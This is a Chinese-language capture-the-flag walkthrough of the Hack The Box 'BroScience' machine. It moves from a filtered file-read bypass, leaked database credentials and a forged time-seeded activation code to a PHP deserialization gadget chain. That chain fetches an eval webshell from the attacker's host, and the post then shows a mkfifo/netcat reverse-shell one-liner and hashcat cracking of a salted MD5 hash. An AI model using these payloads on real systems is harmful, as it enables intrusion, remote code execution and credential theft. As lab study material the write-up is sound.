HTB-BroScience

OverView

考点:PHP 代码审计、PostgreSQL 登录、HashCat 破解、Pspy 检测进程 UID

Enumeration

Namp Scan

──(shule㉿shule)-[~/桌面]
└─$ nmap -sC -sV 10.129.123.146 
Starting Nmap 7.92 ( https://nmap.org ) at 2023-01-08 11:41 CST
Nmap scan report for 10.129.123.146
Host is up (0.54s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp  open  http     Apache httpd 2.4.54
|_http-title: Did not follow redirect to https://broscience.htb/
443/tcp open  ssl/http Apache httpd 2.4.54 ((Debian))
| ssl-cert: Subject: commonName=broscience.htb/organizationName=BroScience/countryName=AT
| Not valid before: 2022-07-14T19:48:36
|_Not valid after:  2023-07-14T19:48:36
Service Info: Host: broscience.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1384.17 seconds

简单的翻看网站发现几个页面,产生一些思路并简单测试

/index.php

/login.php 考虑 SQL 注入/ 密码爆破 也是不行的

/exercise.php?id=1 考虑 SQL 注入 失败

/user.php?id=3 考虑 SQL 注入

/register.php 注册功能,但是没有邮箱注册不了

LFR(Local File Read)

/includes/img.php?path=bench.png , 发现存在过滤,用双层 url 编码可以绕过。

image-20230112172621125

想尝试通过 img.php 读取其他 php 代码,但是不知道路径,也想不通 png 的位置。于是便用 dirsearch 进行扫描

扫到了 /img 这个文件夹

还扫到了 /includes 这个目录

image-20230112132200622

扫到了 /img 这个文件夹

于是就将几乎能知道的 php 文件均读取下来,发现 img.php 实际上是 file_get_contents 函数而不是 include

img.php

<?php
if (!isset($_GET['path'])) {
    die('<b>Error:</b> Missing \'path\' parameter.');
}

// Check for LFI attacks
$path = $_GET['path'];

$badwords = array("../", "etc/passwd", ".ssh");
foreach ($badwords as $badword) {
    if (strpos($path, $badword) !== false) {
        die('<b>Error:</b> Attack detected.');
    }
}

// Normalize path
$path = urldecode($path);

// Return the image
header('Content-Type: image/png');
echo file_get_contents('/var/www/html/images/' . $path);
?>

通过读取 img.php 的同时也知道了绝对路径,继续读取其他文件发现 sql 操作均用了预处理。并且通过读取 db_connect.php 可以知道是 PostgreSQL ,以及一些用户名密码和数据库信息

db_connect.php

<?php
$db_host = "localhost";
$db_port = "5432";
$db_name = "broscience";
$db_user = "dbuser";
$db_pass = "RangeOfMotion%777";
$db_salt = "NaCl";

$db_conn = pg_connect("host={$db_host} port={$db_port} dbname={$db_name} user={$db_user} password={$db_pass}");

if (!$db_conn) {
    die("<b>Error</b>: Unable to connect to database");
}
?>

但是远程是无法连接的,先把这个信息放在这里。

Code Audit

读取到 utils.php 的时候发现危险操作类,可以写文件

image-20230112171249192

而且还发现了反序列化函数

image-20230112171336378

寻址调用了 get_theme 函数的地方,发现 index.php 文件中存在

image-20230112171439218

但是要满足反序列化条件,进入到 if 语句中需要满足isset($_SESSION['id']) 也就是说,至少要登录到一个用户上面才行

login.php

<?php
session_start();

// Check if user is logged in already
if (isset($_SESSION['id'])) {
    header('Location: /index.php');
}

// Handle a submitted log in form
if (isset($_POST['username']) && isset($_POST['password'])) {
    // Check if variables are empty
    if (!empty($_POST['username']) && !empty($_POST['password'])) {    
        include_once 'includes/db_connect.php';

        // Check if username:password is correct
        $res = pg_prepare($db_conn, "login_query", 'SELECT id, username, is_activated::int, is_admin::int FROM users WHERE username=$1 AND password=$2');
        $res = pg_execute($db_conn, "login_query", array($_POST['username'], md5($db_salt . $_POST['password'])));

        if (pg_num_rows($res) == 1) {
            // Check if account is activated
            $row = pg_fetch_row($res);
            if ((bool)$row[2]) {
                // User is logged in
                $_SESSION['id'] = $row[0];
                $_SESSION['username'] = $row[1];
                $_SESSION['is_admin'] = $row[3];
                ...
                ....

但是在 register.php 中是需要邮箱验证码的,很明显在靶机里面我们难以做出一个邮箱能够接收到验证码。

image-20230112172035595

但是可以发现想要验证通过只需要访问 https://broscience.htb/activate.php?code={$activation_code}$activation_code 又是由 utils.php 中的 generate_activation_code 函数生成的。

<?php
function generate_activation_code() {
    $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
    srand(time());
    $activation_code = "";
    for ($i = 0; $i < 32; $i++) {
        $activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
    }
    return $activation_code;
}

发现 srand(time()) 中的时间也是可控的,我们可以在 Burp Suite 的 Repeat 模块中看到响应包的时间。因此实际上我们可以用这个函数生成验证码进行注册。

image-20230112172834113

<?php
function generate_activation_code() {
    $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
    srand(strtotime("Thu, 12 Jan 2023 07:30:57 GMT"));
    $activation_code = "";
    for ($i = 0; $i < 32; $i++) {
        $activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
    }
    return $activation_code;
}
echo generate_activation_code();
?>

然后访问 https://broscience.htb/activate.php?code=BlVvaTrExa9Hl3JXMW6GmGtDADdu3x8o 即可完成注册

Foothold

用这个用户登录以后,直接在 index.php 的 Cookie 中将 user-prefs 替换成我们生成的 Payload

<?php
class Avatar {
    public $imgPath;

    public function __construct($imgPath) {
        $this->imgPath = $imgPath;
    }

    public function save($tmp) {
        $f = fopen($this->imgPath, "w");
        fwrite($f, file_get_contents($tmp));
        fclose($f);
    }
}

class AvatarInterface {
    public $tmp;
    public $imgPath; 

    public function __wakeup() {  
        $a = new Avatar($this->imgPath);
        $a->save($this->tmp);
    }
}
$avatarInterface = new AvatarInterface;
$avatarInterface->tmp = "http://10.10.16.6:6699/a.txt";
$avatarInterface->imgPath = "/var/www/html/shule.php";
$a = serialize($avatarInterface);
echo base64_encode($a);

因为 file_get_contents 是打开一个文件并写入,本地没有什么好利用的文件内容,经过测试发现可以远程读写。

因此准备一个 a.txt,内容如下:

<?php
@eval($POST[1]);
?>

替换,发送数据包

image-20230112172535935

访问成功,然后用哥斯拉进行连接,命令执行反弹 shell

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.16.6 1337 >/tmp/f

image-20230112173146358

简单的翻找文件发现并没有可以利用的地方,于是想起之前读取到的数据库密码等内容

PSQL Enumeration

尝试连接数据库

psql -h localhost -p 5432 -U dbuser -d broscience

执行一下 SQL 命令

select * from users;

image-20230112162943668

root.txt

前面我们查看了 /etc/passwd 发现有 bill 这个用户,因此尝试破解 bill 的密码

bill | 13edad4932da9dbb57d9cd15b66ed104

而通过之前读取源码可以知道 salt 是 NaCl 且 密码是这样生成的

md5($db_salt . $_POST['password'])

先将字典前面加上个 NaCl

sed 's/^/NaCl/' /usr/share/wordlists/rockyou.txt > new_wordlist.txt

然后跑一下 hashcat

 hashcat -m 0 hash.txt -a 0 new_wordlist.txt

很快就得到结果了

image-20230112181509623

NaCliluvhorsesandgym

ssh 进行连接

ssh [email protected]

直接成功

image-20230112181659650

接下来又到了提权时间了,但是我不会了,看了别人的题解才发现原来有 https://github.com/DominicBreuker/pspy pspy 这个工具,可以查看各个进程的 UID 值。然后发现问题进行提权。但是我遇到靶机上面用这种方法失效了

结束.

版权声明:除特殊说明,博客文章均为 Shule 原创,依据 CC BY-SA 4.0 许可证进行授权,转载请附上出处链接及本声明。
暂无评论

发送评论 编辑评论


|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇